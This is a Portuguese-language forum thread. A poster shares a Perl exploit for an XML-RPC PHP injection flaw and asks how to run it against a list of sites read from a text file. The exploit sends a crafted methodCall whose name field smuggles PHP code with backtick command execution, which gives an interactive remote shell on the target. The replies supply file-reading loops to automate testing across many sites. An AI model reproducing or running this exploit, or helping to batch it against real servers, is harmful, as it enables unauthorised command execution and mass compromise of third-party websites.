Pessoal seguinte tenho 1 xpl de xmlrpc blz, so que vc precisa ficar testando 1 por 1 manualmente eu queria colocar uma function pra abrir 1 txt com 1 list de sites xml e ir testando os mesmo eu ja tive algumas ideias mais n manjo quase nada de perl se alguem puder me ajudar agradeço deis de ja.
o xpl
#!/usr/bin/perl
use IO::Socket;
print "XMLRPC remote commands execute exploit by dukenn (http://asteam.org)\n";
if ($ARGV[0] && $ARGV[1])
{
$host = $ARGV[0];
$xml = $ARGV[1];
$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "connecterror\n";
while (1) {
print '['.$host.']# ';
$cmd = <STDIN>;
chop($cmd);
last if ($cmd eq 'exit');
$xmldata = "<?xml version=\"1.0\"?><methodCall><methodName>test.method</methodName><params><param><value><name>',''));echo '_begin_\n';echo `".$cmd."`;echo '_end_';exit;/*</name></value></param></params></methodCall>";
print $sock "POST ".$xml." HTTP/1.1\n";
print $sock "Host: ".$host."\n";
print $sock "Content-Type: text/xml\n";
print $sock "Content-Length:".length($xmldata)."\n\n".$xmldata;
$good=0;
while ($ans = <$sock>)
{
if ($good == 1) { print "$ans"; }
last if ($ans =~ /^site vulneravel!/);
if ($ans =~ /^_begin_/) { $good = 1; }
}
if ($good==0) {print "Exploit Failed\n";exit();}
}
}
else {
print "Usage: perl xml.pl [host] [path_to_xmlrpc]\n\n";
print "Example: perl xml.pl target.com /script/xmlrpc.php\n";
exit;
}
aew!
Essa página pode ajudar...
^^
http://www.troubleshooters.com/codecorn/littperl/perlfile.htm (http://www.troubleshooters.com/codecorn/littperl/perlfile.htm)
my $inf;
open $inf, "<" . $bigfileName;
while(<$inf>)
{
my $line = $_;
...
}
Uma coisa assim... Ae $line vai ter a linha do arquivo de texto... ACHO, não programo em perl, mas testa ae :D
#!/usr/bin/perl
print "Forneca o nome do arquivo contendo a lista: ";
chop($lista = <STDIN>); # aqui pegaremos o arquivo para fazer a verificação.
open(arq, $lista) || die "\n fdp deu erro porra"; #aqui abriremos o arquivo para leitura, e caso ele não consiga abrir ele vai retornar uma msg.
@lines = <arq>; #aqui colocamos as linhas do arquivo em um array.
foreach $line (@lines) { #aqui começamos a verificação.
chomp($line); #remove o enter da linha.
if( $line !~ /http:\/\// ) { print "$line | nao e um site \n"; } #aqui ele vai verificar se em cada linha contém a string "http://" e se não tiver ele vai retornar a msg.
else { print "$line | e um site sim \n"; } # e se tiver ele vai retornar outra msg.
}
Malz pelo código bagunçado auehauheauhe
Zero Cool, agora é só ajustar o meu code com esse ai que você postou (:
monkers do fórum não me matem, sou noob :T